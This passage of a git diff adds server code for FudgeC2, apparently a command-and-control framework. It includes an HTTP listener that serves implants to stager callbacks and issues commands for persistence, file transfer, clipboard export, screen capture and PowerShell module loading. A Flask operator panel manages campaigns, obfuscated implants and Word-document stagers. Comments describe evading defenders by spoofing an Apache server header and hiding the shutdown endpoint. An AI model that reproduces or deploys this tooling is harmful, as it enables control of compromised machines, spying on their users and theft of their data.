craft_export_clipboard(value_dict, command_id): + return str(value_dict['type'] + command_id) + + +def craft_load_module(value_dict, command_id): + try: + with open(str(os.getcwd()+"/Storage/implant_resources/modules/"+value_dict['args']+".ps1"), 'r') as fileh: + to_encode = f"{value_dict['args']}::{fileh.read()}" + load_module_string = "LM" + command_id + base64.b64encode(to_encode.encode()).decode() + return load_module_string + except Exception as e: + + # These exceptions should be added to a log file. + print(f"Load module failed: {e}") + pass + return str("==") + + +def craft_invoke_module(value_dict, command_id): + a = base64.b64encode(value_dict['args'].encode()).decode() + b = value_dict['type'] + command_id + a + return b + + +def craft_list_modules(value_dict, command_id): + return str(value_dict['type'] + command_id) + +def craft_screen_capture(value_dict, command_id): + return str(value_dict['type'] + command_id) + +# +preprocessing = { + "PS": craft_sound_file, + "CM": craft_powershell_native_command, + "UF": craft_file_upload, + "FD": craft_file_download, + "EP": craft_enable_persistence, + "SI": craft_sys_info, + "EC": craft_export_clipboard, + "LM": craft_load_module, + "IM": craft_invoke_module, + "ML": craft_list_modules, + "SC": craft_screen_capture + } + + +@app.before_request +def before_request(): + # TODO: Implement IP whitelist and reject if connection if it is not a valid src IP. + return + + +# Removing the Werkzeug header to reduce Fudges server fingerprinting. +@app.after_request +def alter_headers(response): + response.headers['Server'] = "Apache/2.4.1 (Unix)" + return response + + +# -- TODO: extracted and added into a new stager specific listener(?) +@app.route("/robots.txt", methods=['GET']) +def stager(): + # This endpoint is responsible for generating the implant based on stager callbacks + implant_data = db.implant.Register_NewImplantFromStagerKey(request.values['user']) + if implant_data: + output_from_parsed_template = Imp.GeneratePayload(implant_data) + return output_from_parsed_template + else: + return "404", 404 + + +@app.route("/index", methods=["GET", "POST"]) +def implant_beacon_endpoint(): + if 'X-Implant' not in request.headers: + return "==" + + next_cmd, command_id = Imp.issue_command(request.headers['X-Implant'], app.config['listener_type']) + if next_cmd is not None: + processed_return_val = preprocessing[next_cmd['type']](next_cmd, command_id) + return processed_return_val + # Need to remove the use of == in beacons, this can be fingerprinted with ease. + return "==" + + +@app.route("/help", methods=['GET', 'POST']) +def implant_command_result(): + # -- X-Result is a placeholder header and should be changed to a more realistic value + response_stream_data = request.stream.read() + decoded_response_stream_data = response_stream_data.decode() + if "X-Result" in request.headers: + + command_id = decoded_response_stream_data[0:24] + encoded_command = decoded_response_stream_data[24:] + decoded_response = base64.b64decode(f"{encoded_command}==") + Imp.command_response(command_id, decoded_response, app.config['listener_type']) + return "==" + + +# This should be randomised to avoid blueteams fingerprinting the server by querying this endpoint. +@app.route("/nlaksnfaobcaowb", methods=['GET', 'POST']) +def shutdown_listener(): + if request.remote_addr == "127.0.0.1": + shutdown_hook = request.environ.get('werkzeug.server.shutdown') + if shutdown_hook is not None: + shutdown_hook() + + +def shutdown(): + raise RuntimeError("Server going down") diff --git a/FudgeC2/Listeners/ListenerManagement.py b/FudgeC2/Listeners/ListenerManagement.py new file mode 100644 index 0000000..310a8bd --- /dev/null +++ b/FudgeC2/Listeners/ListenerManagement.py @@ -0,0 +1,178 @@ +import sys +import threading +import os +import requests + +from Data.Database import Database + + +class Listener: + + def __init__(self, name, port, protocol): + self.name = name + self.port = port + self.type = protocol + self.thread = None + + def query_state(self): + try: + a = self.thread.is_alive() + except Exception as E: + a = False + return a + + def start_listener(self): + return + + def stop_listener(self): + self.thread = None + + +class HttpListener(Listener): + pass + # Read settings before this becomes an issue! + tls_key = "server.key" + tls_cert = "server.crt" + path = os.getcwd() + "/Storage/" + + def _create_app(self, listener_type): + import Listeners.HttpListener + del sys.modules["Listeners.HttpListener"] + import Listeners.HttpListener as http_listener_module + http_listener_module.app.config['listener_type'] = listener_type + return http_listener_module.app + + def _start_http_listener_thread(self, app, port, protocol_type): + if protocol_type == "http": + app.run(debug=False, use_reloader=False, host='0.0.0.0', port=port, threaded=True) + elif protocol_type == "https": + app.run(debug=False, + use_reloader=False, + host='0.0.0.0', + port=port, + threaded=True, + ssl_context=(self.path + self.tls_cert, self.path + self.tls_key)) + + def start_listener(self): + app = self._create_app(self.type) + self.thread = threading.Thread(target=self._start_http_listener_thread, + args=(app, self.port, self.type,), + daemon=True) + self.thread.start() + + # TODO: Randomise endpoint value. + def stop_listener(self): + requests.get(f"{self.type}://127.0.0.1:{self.port}/nlaksnfaobcaowb") + self.thread = None + + +class BinaryListener(Listener): + pass + + def start_listener(self): + return + + def stop_listener(self): + return + + +class ListenerManagement: + listeners = {} + db = Database() + + def __init__(self, a, b): + pass + + def _check_if_listener_is_unique(self, name, port, protocol, reboot): + # Bypass the unique check when rebooting. + if reboot: + return True + a = self.db.listener.get_all_listeners() + for x in a: + if x.name == name: + return False + return True + + def _create_listener(self, name, raw_protocol, port, auto_start=False, reboot=False): + protocol = raw_protocol.lower() + if self._check_if_listener_is_unique(name, port, protocol, reboot): + if protocol.lower() == "http" or protocol.lower() == "https": + self.listeners[name] = HttpListener(name, port, protocol) + elif protocol == "binary": + self.listeners['name'] = BinaryListener(name, port, protocol) + else: + return False + + if reboot is not True: + if self.db.listener.create_new_listener_record(name, port, protocol, auto_start) is False: + return False + + if auto_start is True or auto_start == 1: + self.listeners[name].start_listener() + else: + return False + + return True + + def _update_listener_state(self, listener, state): + if listener in self.listeners.keys(): + if state == "off": + self.listeners[listener].stop_listener() + elif state == "on": + self.listeners[listener].start_listener() + return + + def check_tls_certificates(self): + return True + + def get_active_listeners(self): + blah = {} + for listener in self.listeners: + blah[self.listeners[listener].name] = {"type": self.listeners[listener].type, + "port": self.listeners[listener].port, + "state": self.listeners[listener].query_state(), + "id": "who knows", + "common_name": self.listeners[listener].name} + return blah + + def update_listener_state(self, username, form): + if self.db.user.User_IsUserAdminAccount(username) is False: + return False, "You are not an admin." + + if "state_change" in form: + + if form['state_change'] in self.listeners.keys(): + current_state = self.listeners[form['state_change']].query_state() + if current_state is True: + self._update_listener_state(form['state_change'], "off") + else: + self._update_listener_state(form['state_change'], "on") + return True, "" + + else: + return False, "" + + def create_new_listener(self, username, form): + if self.db.user.User_IsUserAdminAccount(username) is False: + return False, "You are not an admin." + + if "listener_name" in form: + auto_start = False + if "auto_start" in form: + auto_start = True + listener_created = self._create_listener( + form['listener_name'], + form['listener_protocol'], + form['listener_port'], + auto_start) + if listener_created is True: + return True, "Listener created" + else: + return False, "Error in _create_listener()" + else: + return False, "" + + def start_auto_run_listeners_at_boot(self): + auto_run_listeners = self.db.listener.get_all_listeners() + for listener in auto_run_listeners: + self._create_listener(listener.name, listener.protocol, listener.port, listener.auto_run, True) diff --git a/FudgeC2/ServerApp/ImplantManager.py b/FudgeC2/ServerApp/ImplantManager.py new file mode 100644 index 0000000..f0c04fe --- /dev/null +++ b/FudgeC2/ServerApp/ImplantManager.py @@ -0,0 +1,402 @@ +import time +import uuid + +from flask import Flask, render_template, flash, request, jsonify, g, url_for, redirect, send_file +from flask_login import LoginManager, login_required, current_user, login_user, logout_user +# from flask_socketio import SocketIO + +from Implant.Implant import ImplantSingleton +from ServerApp.modules.UserManagement import UserManagementController +from ServerApp.modules.StagerGeneration import StagerGeneration +from ServerApp.modules.ImplantManagement import ImplantManagement +from ServerApp.modules.ApplicationManager import AppManager +from ServerApp.modules.ExportManager import CampaignExportManager + +Imp = ImplantSingleton.instance +UsrMgmt = UserManagementController() +ImpMgmt = ImplantManagement() +StagerGen = StagerGeneration() +AppManager = AppManager() +ExpoManager = CampaignExportManager() + +app = Flask(__name__) +app.config.from_object(__name__) +app.config['SECRET_KEY'] = str(uuid.uuid4()) +login = LoginManager(app) +login.init_app(app) +# socketio = SocketIO(app) + +# TODO: Controller dev work. +listener_management = None + + +# -- Context Processors --# +@app.context_processor +def inject_dict_for_all_auth_templates(): + # -- Returns the list of Campaigns the authenticated user has at least read access to + if current_user.is_authenticated: + return dict(campaignlist=UsrMgmt.campaign_get_user_campaign_list(current_user.user_email)) + else: + return dict() + + +@app.context_processor +def inject_dict_for_all_campaign_templates(): + if 'cid' in g: + cid = g.get('cid') + campaign_name = AppManager.campaign_get_campaign_name_from_cid(cid) + if cid is not None: + return dict(campaign=campaign_name, cid=cid) + return dict() + + +# -- Managing the error and user object. -- # +# ----------------------------------------- # +@login.user_loader +def load_user(user): + return UsrMgmt.get_user_object(user) + + +@app.before_request +def before_request(): + return + + +@app.after_request +def add_header(r): + return r + + +@app.errorhandler(404) +def page_not_found(e): + return redirect(url_for('BaseHomePage'), 302) # This should be a proper 404? + + +@app.errorhandler(401) +def page_not_found(e): + return redirect(url_for('login'), 302) + + +# -- Authentication endpoints -- # +# ------------------------------ # +@app.route("/auth/login", methods=['GET', 'POST']) +def login(): + if request.method == "POST": + if 'email' in request.form and 'password' in request.form and request.form['email'] is not None and request.form['password'] is not None: + user_object = UsrMgmt.user_login(request.form['email'], request.form['password']) + if user_object is False: + return redirect(url_for("BaseHomePage", error="Incorrect Username/Password")) + + if user_object.first_logon == 1: + login_user(user_object) + return redirect(url_for("BaseHomePage")) + + else: + guid = UsrMgmt.get_first_logon_guid(request.form['email']) + # return render_template("auth/PasswordResetPage.html",guid=guid) + return redirect(url_for("PasswordReset", guid=guid)) + return render_template("auth/LoginPage.html", + fudge_version=AppManager.get_software_verision_number(), + fudge_version_name=AppManager.get_software_verision_name()) + + +@app.route("/auth/logout") +@login_required +def logout(): + if current_user.is_authenticated: + logout_user() + return redirect(url_for("login")) + else: + return redirect(url_for("login")) + + +@app.route("/auth/passwordreset", methods=['GET', 'POST']) +def PasswordReset(): + if request.method == "POST": + user_object = UsrMgmt.change_password_first_logon(request.form) + if user_object is not False: + login_user(user_object) + return redirect(url_for('BaseHomePage')) + if request.method == "GET": + guid = "0000-0000-0000-0000" + if request.args.get('guid') is not None: + guid = request.args.get('guid') + return render_template("auth/PasswordResetPage.html", guid=guid) + return redirect(url_for('login')) + + +# -- Main endpoints -- # +# -------------------- # +@app.route("/", methods=["GET", "POST"]) +@login_required +def BaseHomePage(): + if request.method == "GET": + return render_template("Homepage.html", + out_of_date=AppManager.check_software_version(), + version_number=AppManager.get_software_verision_number()) + elif request.method == "POST": + return jsonify(AppManager.get_all_user_campaigns(current_user.user_email)) + + +@app.route("/CreateCampaign", methods=['GET', 'POST']) +@login_required +def create_new_campaign(): + if request.method == "POST": + success_bool, success_msg = AppManager.campaign_create_campaign(current_user.user_email, request.form) + if success_bool is True: + return redirect(url_for('BaseHomePage')) + else: + return render_template('CreateCampaign.html', error=success_msg), 409 + return render_template('CreateCampaign.html') + + +@app.route("/settings", methods=['GET', 'POST']) +@login_required +def global_settings_page(): + if request.method == "POST": + # -- Add user returns a dict with action/result/reason keys. + result = UsrMgmt.add_new_user(request.form, current_user.user_email) + return jsonify(result) + logs = AppManager.get_application_logs(current_user.user_email) + logs.reverse() + return render_template("settings/GlobalSettings.html", logs=logs) + + +@app.route("/help", methods=["GET"]) +@login_required +def help_page(): + return render_template("HelpPage.html") + + +@app.route("/listener", methods=['GET', 'POST']) +@login_required +def GlobalListenerPage(): + if app.config['listener_management'].check_tls_certificates() is False: + flash('TLS certificates do not exist within the /FudgeC2/Storage directory.') + return render_template("listeners/listeners.html", + test_data=app.config['listener_management'].get_active_listeners()) + + +@app.route("/api/v1/listener/") +@login_required +def get_listener_details(): + + return jsonify(app.config['listener_management'].get_active_listeners()) + + +@app.route("/api/v1/listener/change", methods=['POST']) +@login_required +def Listener_Updates(): + form_response = app.config['listener_management'].update_listener_state(current_user.user_email, request.form) + flash(form_response[1]) + return redirect(url_for('GlobalListenerPage')) + + +@app.route("/api/v1/listener/create", methods=['POST']) +@login_required +def create_new_listener(): + form_response = app.config['listener_management'].create_new_listener(current_user.user_email, request.form) + if form_response[0] is False: + return url_for('GlobalListenerPage'), 409 + else: + return url_for('GlobalListenerPage'), 201 + +# -- CAMPAIGN SPECIFIC PAGES -- # +# ----------------------------- # + + +@app.route("//settings", methods=['GET', 'POST']) +@login_required +def BaseImplantSettings(cid): + # Allows updating the permissions of users in a campaign, and the visualisation of allowed users. + g.setdefault('cid', cid) + if request.method == "POST": + UsrMgmt.AddUserToCampaign(current_user.user_email, request.form, cid) + return redirect(url_for('BaseImplantSettings', cid=cid)) + else: + users = UsrMgmt.get_current_campaign_users_settings_list(current_user.user_email, cid) + return render_template("settings/CampaignSettings.html", users=users) + + +@app.route("//implant/create", methods=['GET', 'POST']) +@login_required +def NewImplant(cid): + # -- set SID and user DB to convert --# + g.setdefault('cid', cid) + if request.method == "POST": + result, result_text = ImpMgmt.CreateNewImplant(cid, request.form, current_user.user_email) + if result is True: + return render_template('CreateImplant.html', success=result_text) + else: + return render_template('CreateImplant.html', error=result_text), 409 + return render_template('CreateImplant.html') + + +@app.route("//implant/stagers", methods=["GET", "POST"]) +@login_required +def ImplantStager(cid): + g.setdefault('cid', cid) + # -- get request: return list of implants -- + # -- Will update to a dropdown when exporting Word docs etc is possible -- # + if request.method == "POST": + if 'id' in request.args: + try: + if int(request.args['id']): + print("this is int") + except: + pass + # TODO: Replace with content from webpage request. + return send_file(StagerGen.GenerateSingleStagerFile(cid, current_user.user_email, "docx"), + attachment_filename='file.docx') + return render_template("ImplantStagerPage.html", + implantList=StagerGen.generate_static_stagers(cid, current_user.user_email)) + + +@app.route("//implant/active/", methods=["GET", "POST"]) +@app.route("//implant/active", methods=["GET", "POST"]) +@login_required +def display_active_implant(cid, uik=None): + g.setdefault('cid', cid) + implants = ImpMgmt.get_active_campaign_implants(current_user.user_email, cid) + if uik is not None: + if type(implants) == list: + for implant in implants: + if int(implant['unique_implant_id']) == int(uik): + return render_template("implant/ActiveImplants.html", imp=implants, render=implant) + return render_template("implant/ActiveImplants.html", imp=implants) + + +@app.route("//graphs", methods=['GET', 'POST']) +@login_required +def CampaignGraph(cid): + g.setdefault('cid', cid) + # -- If we receive a POST request then we will populate the page, this will be called AFTER the page has loaded. + if request.method == "POST": + blah = {'a': "1", 'b': "v"} + return jsonify(blah) + return render_template("CampaignGraph.html") + + +@app.route("//logs", methods=["GET", "POST"]) +@login_required +def CampaignLogs(cid): + g.setdefault('cid', cid) + if request.method == "POST": + # -- Replace with pre-organised campaign logs - simplifies JS component. + # Get_CampaignLogs + full_campaign_logs = ImpMgmt.Get_CampaignLogs(current_user.user_email, cid) + return jsonify(full_campaign_logs) + return render_template("CampaignLogs.html") + + +@app.route("//export_campaign", methods=["GET"]) +@login_required +def export_campaign_by_cid(cid): + g.setdefault('cid', cid) + + download = request.args.get('download', default=False, type=str) + if download is not False: + # STart download process. + filename = ExpoManager.get_encrypted_file(current_user.user_email, cid, download) + + if filename is False: + return "False" + else: + return send_file("../Storage/ExportedCampaigns/"+filename, as_attachment=True, attachment_filename="filename") + else: + export_result = ExpoManager.export_campaign_database(current_user.user_email, cid) + if export_result is not False: + return jsonify({"filename": export_result[0], "password": export_result[1]}) + + return url_for("BaseImplantPage", cid=cid) + + +# -- Implant command execution -- # +@app.route("//implant/register_cmd", methods=["POST"]) +@login_required +def ImplantCommandRegistration(cid): + if request.method == "POST": + # -- This is the new format using ImpMgmt to handle validation of user and command. + registration_response = ImpMgmt.ImplantCommandRegistration(cid, current_user.user_email, request.form) + # -- Currently no return value is required. This should be defined. + return jsonify(registration_response) + return "000" + + +# -- Base for new endpoints. +@app.route("/campaign//implant/get_all", methods=['POST']) +@app.route("//", methods=['GET']) +@login_required +def get_all_active_implants(cid): + g.setdefault('cid', cid) + implant_list = UsrMgmt.campaign_get_all_implant_base_from_cid(current_user.user_email, cid) + if implant_list is not False: + if len(implant_list) > 0: + return render_template("implant_input.html", Implants=implant_list) + + msg = "No implants have called back in association with this campaign - create an implant base and use the stager page." + return render_template("ImplantMain.html", cid=cid, Msg=msg) + + +# Early API redevelopment: +@app.route("/api/v1/campaign") +@login_required +def get_user_campaigns(): + current_user.user_email = "admin" + return jsonify(AppManager.get_all_user_campaigns(current_user.user_email)) + + +@app.route("/api/v1/campaign//implants/active") +@login_required +def get_active_implants(cid): + current_user.user_email = "admin" + a = ImpMgmt.get_active_campaign_implants(current_user.user_email, cid) + return jsonify(a) + + +@app.route("/api/v1/campaign//implants/queued", methods=['GET']) +@login_required +def get_implant_queued_commands(cid): + # -- Get JSON blob which contains all implant commands and then registration state + commands = ImpMgmt.Get_RegisteredImplantCommands(current_user.user_email, cid) + return jsonify(commands) + + +@app.route("/api/v1/campaign//implants/response/", methods=['GET']) +@app.route("/api/v1/campaign//implants/response", methods=['GET']) +@login_required +def get_all_implant_responses(cid): + # -- Javascript appears to not be printing out all entries + if UsrMgmt.campaign_get_user_access_right_cid(current_user.user_email, cid): + return jsonify(Imp.Get_CommandResult(cid)) + else: + return str(0) + + +@app.route("/api/v1/campaign//implants/state") +@login_required +def get_active_implants_state(cid): + active_implant_list = UsrMgmt.campaign_get_all_implant_base_from_cid(current_user.user_email, cid) + data = {} + count = 1 + for implant in active_implant_list: + implant_status_obj = {"status": None, + "title": implant['generated_title'], + "implant_id": implant['unique_implant_id'], + "last_checked_in": implant['last_check_in'] + } + beacon = implant['beacon'] + time_from_last_check_in = time.time() - implant['last_check_in'] + + if time_from_last_check_in < beacon * 2.2: + # A beacon of 60 seconds has request response == 120 seconds + jitter + # meaning 132 seconds meaning a maximum of *2.2 delayed + implant_status_obj['status'] = "Healthy" + elif time_from_last_check_in < beacon * 3.5: + implant_status_obj['status'] = "Delayed" + else: + implant_status_obj['status'] = "Unresponsive" + + data[count] = implant_status_obj + count = count + 1 + return jsonify(data) diff --git a/FudgeC2/ServerApp/modules/ApplicationManager.py b/FudgeC2/ServerApp/modules/ApplicationManager.py new file mode 100644 index 0000000..6a3a81e --- /dev/null +++ b/FudgeC2/ServerApp/modules/ApplicationManager.py @@ -0,0 +1,75 @@ +import requests +from distutils.version import LooseVersion + +from Data.Database import Database +from Storage.settings import Settings + + +class AppManager: + db = None + + def __init__(self): + self.db = Database() + + @staticmethod + def check_software_version(): + # Returns "True" if the software is behind Git Hubs master version file. + url = "https://raw.githubusercontent.com/Ziconius/FudgeC2/master/FudgeC2/Storage/version.txt" + try: + request_result = requests.get(url, timeout=1) + master = request_result.content.decode() + if LooseVersion(master) > LooseVersion(Settings.version): + return True + else: + return False + except Exception as exception_text: + print("check_software_version(): ",exception_text) + return False + + @staticmethod + def get_software_verision_number(): + try: + version = Settings.version + return version + except Exception as exception_text: + print(exception_text) + return "0.0.0" + + @staticmethod + def get_software_verision_name(): + try: + version = Settings.version_name + return version + except Exception as exception_text: + print(exception_text) + return "Unknown" + + def campaign_create_campaign(self, user, form): + # Responsible for validating admin account, and campaign title exists. + if self.db.user.User_IsUserAdminAccount(user) is True: + if 'title' in form and 'description' in form: + if form['title'].strip() != "": + if self.db.campaign.create_campaign(user, form['title'].strip(), form['description'].strip()) is True: + return True, "Campaign created successfully." + else: + return False, "Unknown error." + else: + return False, "You must supply both title and description values." + else: + return False, "You must supply both title and description values." + else: + return False, "You do not have admin permissions to create a campaign." + + def campaign_get_campaign_name_from_cid(self, cid): + return self.db.campaign.Get_CampaignNameFromCID(cid) + + # TODO: Implement returning app logs to web app. + def get_application_logs(self, username): + # is user admin if not return false. + if self.db.user.User_IsUserAdminAccount(username): + return self.db.get_application_logs() + else: + return [] + + def get_all_user_campaigns(self, username): + return self.db.campaign.get_all_user_campaigns(username) \ No newline at end of file diff --git a/FudgeC2/ServerApp/modules/ExportManager.py b/FudgeC2/ServerApp/modules/ExportManager.py new file mode 100644 index 0000000..ed8a88d --- /dev/null +++ b/FudgeC2/ServerApp/modules/ExportManager.py @@ -0,0 +1,164 @@ +import os +import time +import base64 +import random +import string + +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC + +from sqlalchemy import Column, String, text, create_engine, ForeignKey +from sqlalchemy.dialects.mysql import INTEGER +from sqlalchemy.ext.declarative import declarative_base + +from sqlalchemy import create_engine +from sqlalchemy.orm import scoped_session +from sqlalchemy.orm import sessionmaker + +from Data.Database import Database + +Base = declarative_base() +metadata = Base.metadata + + + +class ExportedCampaign(Base): + __tablename__ = 'export_data' + uid = Column(INTEGER, primary_key=True) + user = Column(String(255), nullable=False) + time = Column(String(255), nullable=False) + log_type = Column(String(255), nullable=False) + entry = Column(String(255), nullable=False) + + +class DbCreator: + filename = "" + Session = None + + def __init__(self, filename): + filename = filename + + path = os.getcwd() + "/Storage/ExportedCampaigns/" + database_name = filename + + engine = create_engine(f"sqlite:///{path}/{database_name}?check_same_thread=False", echo=False) + Base.metadata.create_all(engine) + self.Session = scoped_session(sessionmaker(bind=engine, autocommit=False)) + """:type: sqlalchemy.orm.Session""" # PyCharm type fix. Not required for execution. + + +# Shell for exporting a campaign for FudgeC2 Viewer application. +class CampaignExportManager: + export_db = None + db = Database() + file_dir = "Storage/ExportedCampaigns/" + + def test(self, filename, file_dir): + # check file name for uniqueness. + self.export_db = DbCreator(filename) + a = self.export_db.Session.query(ExportedCampaign).all() + return a + + def test_put(self, a, b, c, d): + logs = ExportedCampaign( + user=str(a), + time=str(b), + log_type=str(c), + entry=str(d) + ) + self.export_db.Session.add(logs) + self.export_db.Session.commit() + + def _validate_user_(self, username, cid): + if self.db.user.User_IsUserAdminAccount(username) is not False: + if self.db.campaign.Verify_UserCanReadCampaign(username, cid) is not False: + return True + return False + + def get_encrypted_file(self, username, cid, filename): + if self._validate_user_(username, cid) is False: + return False + + a = os.listdir(self.file_dir) + if filename in a: + return filename + else: + return False + + def export_campaign_database(self, username, cid): + if self._validate_user_(username, cid) is False: + return False + + db = self._generate_database_(cid) + if db is False: + return False + + # db contains(filename, file_path, password) + result = self.encrypt_file(db[0], db[1], db[2]) + if result is False: + return + return result[0], result[1] + + def _generate_database_(self, cid): + # DONE get information (func) + # check database export directory exists + # DONE check file doesn't exist + # DONE create campaign_name_unixtime + # DONE create database + # DONE encrypt + # DONE return file, return password + + password = str(''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=12))) + raw_logs = self.db.Log_GetCampaignActions(cid) + + campaign_name = self.db.campaign.Get_CampaignNameFromCID(cid) + file_name = f"{campaign_name.replace(' ', '_')}_{time.time()}" + file_dir = "Storage/ExportedCampaigns/" + a = os.listdir(file_dir) + database = file_dir + file_name + if file_name in a: + return False + + b = self.test(file_name, file_dir) + for x in raw_logs: + self.test_put(raw_logs[x]['user'], raw_logs[x]['time'], raw_logs[x]['log_type'], raw_logs[x]['entry']) + + return file_name, file_dir, password + + def get_information(self): + return + + def database_file_storage_check(self): + return + + def encrypt_file(self, filename, file_path, password): + + password_provided = password # This is input in the form of a string + password = password_provided.encode() # Convert to type bytes + salt = b'salt_' # CHANGE THIS - recommend using a key from os.urandom(16), must be of type bytes + kdf = PBKDF2HMAC( + algorithm=hashes.SHA256(), + length=32, + salt=salt, + iterations=100000, + backend=default_backend() + ) + key = base64.urlsafe_b64encode(kdf.derive(password)) + + from cryptography.fernet import Fernet + # key = b'' # Use one of the methods to get a key (it must be the same when decrypting) + input_file = file_path+filename + output_file = file_path+filename+".encrypted" + + with open(input_file, 'rb') as f: + + data = f.read() + + fernet = Fernet(key) + encrypted = fernet.encrypt(data) + + with open(output_file, 'wb') as f: + f.write(encrypted) + + return filename+".encrypted", password diff --git a/FudgeC2/ServerApp/modules/ImplantManagement.py b/FudgeC2/ServerApp/modules/ImplantManagement.py new file mode 100644 index 0000000..bd24066 --- /dev/null +++ b/FudgeC2/ServerApp/modules/ImplantManagement.py @@ -0,0 +1,205 @@ +from Data.Database import Database +from Implant.Implant import ImplantSingleton +from Implant.ImplantFunctionality import ImplantFunctionality + + +class ImplantManagement: + # -- The implant management class is responsible for performing pre-checks and validation before sending data + # -- to the Implant class + db = Database() + Imp = ImplantSingleton.instance + ImpFunc = ImplantFunctionality() + + def _form_validated_obfucation_level_(self, form): + if "obfuscation" in form: + try: + obfuscation_value = int(form['obfuscation']) + + if obfuscation_value < 0: + return 0 + elif obfuscation_value > 3: + return 3 + else: + return obfuscation_value + except: + return None + return None + + def _validate_command(self, command): + + command_listing = self.ImpFunc.command_listing() + + # Process command output into: + # :: load_module powerup + if command.lstrip()[0:2] == "::": + preprocessed_command = command.lstrip()[2:].lower().strip() + for x in command_listing: + if x['input'] in preprocessed_command: + a = preprocessed_command.partition(x['input']) + r_command = {"type": x['type'], "args": a[2].strip()} + return r_command, True + return command, {"cmd_reg": {"result": False, "reason": "Unknown inbuilt command, i.e. '::'"}} + elif command.lstrip()[0:1] == ":": + preprocessed_command = command.lstrip()[1:].lower().strip() + for x in command_listing: + if x['input'] in preprocessed_command: + return command, {"cmd_reg": {"result": False, "reason": f"Potential typo found in \ +command.A single colon was found, did you mean: :{command}. If not please submit a GitHub ticket with the \ +submitted command."}} + + else: + r_command = {"type": "CM", "args": command} + return r_command, True + + def ImplantCommandRegistration(self, cid, username, form): + # -- This should be refactored at a later date to support read/write changes to + # -- granular controls on templates, and later specific implants + User = self.db.campaign.Verify_UserCanWriteCampaign(username, cid) + if User is False: + return {"cmd_reg": {"result": False, "reason": "You are not authorised to register commands in this campaign."}} + + # -- Get All implants or implants by name then send to 'implant.py' + # -- email, unique implant key, cmd + if "cmd" in form and "ImplantSelect" in form: + # -- before checking the database assess the cmd that was input. + if len(form['cmd']) == 0: + return {"cmd_reg": {"result": False, "reason": "No command submitted."}} + + processed_command, validated_command = self._validate_command(form['cmd']) + if validated_command is not True: + return validated_command + + # -- If validated_command is True then continue as it IS a valid command. N.b it may not be a legitimate command, but it is considered valid here. + if form['ImplantSelect'] == "ALL": + list_of_implants = self.db.implant.Get_AllGeneratedImplantsFromCID(cid) + else: + list_of_implants = self.db.implant.Get_AllImplantIDFromTitle(form['ImplantSelect']) + + # -- Access if this can fail. If empty return error. + if len(list_of_implants) == 0: + return {"cmd_reg": {"result": False, "reason": "No implants listed."}} + + for implant in list_of_implants: + # -- Create return from the Implant.AddCommand() method. + self.Imp.AddCommand(username, cid, implant['unique_implant_id'], processed_command) + return {"cmd_reg": {"result": True, "reason": "Command registered"}} + return {"cmd_reg": {"result": False, "reason": "Incorrect implant given, or non-existent active implant."}} + + def CreateNewImplant(self, cid, form, user): + # TODO: Create checks for conflicting ports. + implant_configuration = { + "title": None, + "description": None, + "url": None, + "beacon": None, + "inital_delay": None, + "obfuscation_level": None, + "protocol": { + "comms_http": None, + "comms_https": None, + "comms_binary": None, + "comms_dns": None + } + } + try: + User = self.db.user.Get_UserObject(user) + if User.admin == 0: + return False, "Insufficient privileges." + campaign_priv = self.db.campaign.Verify_UserCanWriteCampaign(user, cid) + if campaign_priv is False: + raise ValueError('User cannot write to this campaign.') + + if "CreateImplant" in form: + obfuscation_level = self._form_validated_obfucation_level_(form) + if obfuscation_level is None: + raise ValueError('Missing, or invalid obfuscation level.') + else: + implant_configuration['obfuscation_level'] = obfuscation_level + + # -- Test for initial callback delay + if 'initial_delay' in form: + if int(form['initial_delay']) and int(form['initial_delay']) >= 0: + implant_configuration['initial_delay'] = form['initial_delay'] + else: + raise ValueError("Initial delay must be positive integer.") + else: + raise ValueError("Initial delay not submitted.") + # -- Test for beacon delay + if 'beacon_delay' in form: + if int(form['beacon_delay']) >= 1: + implant_configuration['beacon'] = form['beacon_delay'] + else: + raise ValueError("Beacon delay must an integer greater than 1 second.") + else: + raise ValueError("No beacon delay submitted.") + + if form['title'] == "" or form['url'] == "" or form['description'] == "": + raise ValueError('Mandatory values left blank') + else: + implant_configuration['title'] = form['title'] + implant_configuration['url'] = form['url'] + implant_configuration['description'] = form['description'] + implant_configuration['beacon'] = form['beacon_delay'] + + a = {"comms_http": "http-port", + "comms_https": "https-port", + "comms_dns": "dns-port", + "comms_binary": "binary-port"} + for element in a.keys(): + if element in form: + if int(form[a[element]]): + if int(form[a[element]]) > 0 or int(form[a[element]]) < 65536: + implant_configuration["protocol"][element] = int(form[a[element]]) + else: + raise ValueError(f"Submitted port for {a[element]} is out of range") + else: + raise ValueError("Ports must be submitted as an integer") + + protocol_set = False + for proto in implant_configuration['protocol'].keys(): + if implant_configuration['protocol'][proto] is None: + protocol_set = True + if protocol_set is False: + raise ValueError('No protocol selected, ensure a protocol and port are selected.') + + a = self.db.implant.create_new_implant_template(user, cid, implant_configuration) + if a is True: + return True, "Implant created." + else: + raise ValueError("Error creating entry. Ensure implant title is unique.") + + except Exception as E: + return False, E + + def Get_RegisteredImplantCommands(self, username, cid=0): + # -- Return list of dictionaries, not SQLAlchemy Objects. + if self.db.campaign.Verify_UserCanAccessCampaign(username, cid): + commands = self.db.implant.Get_RegisteredImplantCommandsFromCID(cid) + to_dict = [] + for x in commands: + a = x.__dict__ + if '_sa_instance_state' in a: + del a['_sa_instance_state'] + to_dict.append(a) + return to_dict + else: + return False + + def Get_CampaignLogs(self, username, cid): + User = self.db.campaign.Verify_UserCanReadCampaign(username, cid) + if User is False: + return { + "cmd_reg": {"result": False, "reason": "You are not authorised to view commands in this campaign."}} + return self.db.Log_GetCampaignActions(cid) + + def get_active_campaign_implants(self, user, campaign_id): + if self.db.campaign.Verify_UserCanAccessCampaign(user, campaign_id): + raw = self.db.implant.Get_AllGeneratedImplantsFromCID(campaign_id) + # Removing the SQLAlchemy object. + tr = [] + for num, item in enumerate(raw): + del item['_sa_instance_state'] + tr.append(item) + return tr + else: + return False diff --git a/FudgeC2/ServerApp/modules/StagerGeneration.py b/FudgeC2/ServerApp/modules/StagerGeneration.py new file mode 100644 index 0000000..a2fc994 --- /dev/null +++ b/FudgeC2/ServerApp/modules/StagerGeneration.py @@ -0,0 +1,70 @@ +from Data.Database import Database + + +class StagerGeneration: + # TODO: This needs cleaned up to ensure expandability with database changes. + db = None + + def __init__(self): + self.db = Database() + + def generate_static_stagers(self, cid, user): + ret_data = {} + if self.db.campaign.Verify_UserCanAccessCampaign(user, cid): + implant_info = 